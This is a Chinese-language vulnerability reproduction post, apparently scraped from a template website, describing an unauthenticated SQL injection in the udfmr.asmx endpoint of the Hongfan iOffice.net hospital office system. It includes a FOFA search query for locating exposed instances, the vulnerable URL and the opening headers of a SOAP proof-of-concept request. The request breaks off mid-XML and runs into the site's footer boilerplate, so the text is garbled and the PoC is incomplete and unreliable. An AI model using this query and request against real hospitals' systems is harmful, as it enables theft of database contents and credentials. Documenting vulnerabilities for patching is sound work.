0x01 产品简介
红帆iOffice.net从最早满足医院行政办公需求（传统OA），到目前融合了卫生主管部门的管理规范和众多行业特色应用，是目前唯一定位于解决医院综合业务管理的软件，是最符合医院行业特点的医院综合业务管理平台，是成功案例最多的医院综合业务管理软件。
0x02 漏洞概述
红帆iOffice.net udfmr.asmx接口处存在SQL注入漏洞，未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证，最终可能导致服务器失陷。
0x03 复现环境
FOFA：app="红帆-ioffice"
0x04 漏洞复现
http://your-ip/iOffice/prg/set/wss/udfmr.asmx?op=GetEmpSearch
出现以上这种情况则可能存在漏洞文章来源：https://www.toymoban.com/news/detail-656255.html
PoC文章来源地址https://www.toymoban.com/news/detail-656255.html
POST /iOffice/prg/set/wss/udfmr.asmx HTTP/1.1
Host: your-ip
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/ioffice/udfmr/GetEmpSearch"
<?xml ver到了这里，关于红帆OA SQL注入漏洞复现的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
